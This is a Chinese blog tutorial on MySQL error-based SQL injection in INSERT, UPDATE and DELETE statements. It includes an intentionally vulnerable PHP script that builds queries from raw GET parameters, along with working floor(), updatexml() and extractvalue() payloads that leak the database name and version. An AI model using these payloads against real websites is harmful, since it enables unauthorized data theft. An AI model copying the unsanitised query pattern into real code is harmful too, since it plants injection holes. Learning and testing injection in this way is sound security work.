MySQL三种报错注入方式下的insert,update,delete命令注入示例

select 查询数据(大部分)

  在网站应用中进行数据显示查询操作

insert 插入数据

  在网站应用中进行用户注册添加等操作

delete 删除数据

  后台管理里面删除文章删除用户等操作

update 更新数据

  数据同步缓存等操作

通过以上查询方式与网站应用的关系,可以由注入点产生地方或应用猜测到对方的SQL查询方式

注意:扫描工具一般不能扫描到insert,updata,delete命令的注入点,因为交互过程复杂,涉及到用户登录状态,用户行为交互等方面,这就需要手工测试了

 

 

模拟网站环境执行SQL命令:

本地模拟网站输入用户名

<?php
$id=$_GET['i'];
$users=$_GET['u'];
$pass=$_GET['p'];

$sql="insert into users (id,name,password) values ('$id','$users','$pass');";
echo $sql;

?>

指定u参数即可生成插入数据库的SQL命令

同时在任意数据库中新建以下表:

 

 

insert语句

INSERT INTO 语句用于向表格中插入新的行。

语法
INSERT INTO 表名称 VALUES (值1, 值2,....)

我们也可以指定所要插入数据的列:

INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)

 

floor()报错演示Payload:

insert插入命令:

一般出现在注册是新建昵称等插入文字的地方

本地参数u中用户名输入:

Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '

 

执行的完整SQL语句

insert into users (id,name,password) values ('','Olivia' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '','');

复制到SQL数据库中执行

可以看到执行之后显示出数据库名

 

同理可推断出数据库update(网站个性签名等地方)与delete(网站帖子管理等地方)命令的注入方式:

update命令
update users set passowrd='Nicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '' where id=2;

数据库执行

 

delete命令
delete from users where id=1 or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a);

 

 

updatexml()报错演示Payload

insert命令:

用户名输入:

Olivia' or updatexml(1,concat(0x7e,(version())),0) or '

复制去数据库执行


可以看到把数据库的版本查询出来了

 

同理可推断出数据库update(网站个性签名等地方)与delete(网站帖子管理等地方)命令的注入方式:

update命令
update users set password='Olivia' or  updatexml(1,concat(0x7e,(version())),0) or '' where id=2;

 
delete命令
delete from users where id=2 or updatexml(1,concat(0x7e,(version())),0) or '';

 

 

extractvalue()报错演示Payload

insert命令:

用户名输入:

Olivia' or extractvalue(1,concat(0x7e,database())) or '

 

update命令
update users set password='Olivia' or extractvalue(1,concat(0x7e,database())) or '';

 

delete命令
delete from users where id=1 or extractvalue(1,concat(0x7e,database())) or '';

 

文章参考https://www.cnblogs.com/babers/articles/7252401.html

 

 

 

posted @ 2021-01-04 16:08  impulse-  阅读(2841)  评论(0编辑  收藏  举报